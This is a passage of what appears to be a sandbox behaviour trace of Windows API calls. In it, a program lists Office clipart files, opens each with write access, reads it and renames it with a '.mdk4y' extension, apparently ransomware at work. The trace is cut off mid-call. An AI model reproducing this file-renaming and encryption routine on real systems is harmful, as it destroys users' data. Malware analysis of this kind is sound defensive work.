[0174.895] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.895] AreFileApisANSI () returned 1 [0174.895] GetACP () returned 0x4e4 [0174.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00018_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00018_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.895] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.895] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x243c, lpOverlapped=0x0) returned 1 [0174.981] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.mdk4y")) returned 1 [0174.982] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.982] AreFileApisANSI () returned 1 [0174.982] GetACP () returned 0x4e4 [0174.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00095_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00095_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.982] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.985] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x175a, lpOverlapped=0x0) returned 1 [0174.998] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.mdk4y")) returned 1 [0174.999] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.999] AreFileApisANSI () returned 1 [0174.999] GetACP () returned 0x4e4 [0174.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00211_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00211_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.999] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.000] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c12, lpOverlapped=0x0) returned 1 [0175.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.mdk4y")) returned 1 [0175.034] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.034] AreFileApisANSI () returned 1 [0175.034] GetACP () returned 0x4e4 [0175.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00217_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00217_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.034] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.035] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1224, lpOverlapped=0x0) returned 1 [0175.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.mdk4y")) returned 1 [0175.039] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.039] AreFileApisANSI () returned 1 [0175.039] GetACP () returned 0x4e4 [0175.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00218_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00218_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.040] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bc0, lpOverlapped=0x0) returned 1 [0175.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.mdk4y")) returned 1 [0175.048] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.048] AreFileApisANSI () returned 1 [0175.048] GetACP () returned 0x4e4 [0175.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00231_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00231_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.048] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.049] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x738, lpOverlapped=0x0) returned 1 [0175.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.mdk4y")) returned 1 [0175.055] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.055] AreFileApisANSI () returned 1 [0175.055] GetACP () returned 0x4e4 [0175.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00234_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00234_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.056] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.057] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc68, lpOverlapped=0x0) returned 1 [0175.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.mdk4y")) returned 1 [0175.063] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.063] AreFileApisANSI () returned 1 [0175.063] GetACP () returned 0x4e4 [0175.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00241_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00241_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.064] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.064] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf8c, lpOverlapped=0x0) returned 1 [0175.074] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.mdk4y")) returned 1 [0175.075] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.075] AreFileApisANSI () returned 1 [0175.075] GetACP () returned 0x4e4 [0175.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00246_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00246_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.075] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.076] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf74, lpOverlapped=0x0) returned 1 [0175.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.mdk4y")) returned 1 [0175.094] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.094] AreFileApisANSI () returned 1 [0175.094] GetACP () returned 0x4e4 [0175.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00253_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00253_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.095] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.095] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15bc, lpOverlapped=0x0) returned 1 [0175.097] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.mdk4y")) returned 1 [0175.097] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.097] AreFileApisANSI () returned 1 [0175.097] GetACP () returned 0x4e4 [0175.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00255_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00255_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.097] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.098] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1da8, lpOverlapped=0x0) returned 1 [0175.113] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.mdk4y")) returned 1 [0175.115] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.115] AreFileApisANSI () returned 1 [0175.115] GetACP () returned 0x4e4 [0175.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00330_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00330_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.115] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.116] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7dc, lpOverlapped=0x0) returned 1 [0175.137] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.mdk4y")) returned 1 [0175.138] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.138] AreFileApisANSI () returned 1 [0175.138] GetACP () returned 0x4e4 [0175.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00411_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00411_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.139] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.139] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf72, lpOverlapped=0x0) returned 1 [0175.167] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.mdk4y")) returned 1 [0175.168] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.168] AreFileApisANSI () returned 1 [0175.168] GetACP () returned 0x4e4 [0175.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00687_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00687_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.168] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.169] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9d2, lpOverlapped=0x0) returned 1 [0175.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.mdk4y")) returned 1 [0175.193] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.193] AreFileApisANSI () returned 1 [0175.193] GetACP () returned 0x4e4 [0175.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN01164_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN01164_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.193] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.194] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x236, lpOverlapped=0x0) returned 1 [0175.195] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.mdk4y")) returned 1 [0175.195] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.195] AreFileApisANSI () returned 1 [0175.195] GetACP () returned 0x4e4 [0175.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN01165_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN01165_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.195] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.196] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x66a, lpOverlapped=0x0) returned 1 [0175.197] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.mdk4y")) returned 1 [0175.198] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.198] AreFileApisANSI () returned 1 [0175.198] GetACP () returned 0x4e4 [0175.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN01308_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN01308_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.198] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.199] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e02, lpOverlapped=0x0) returned 1 [0175.210] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.mdk4y")) returned 1 [0175.211] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.211] AreFileApisANSI () returned 1 [0175.211] GetACP () returned 0x4e4 [0175.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TR00006_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TR00006_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.211] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.215] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, 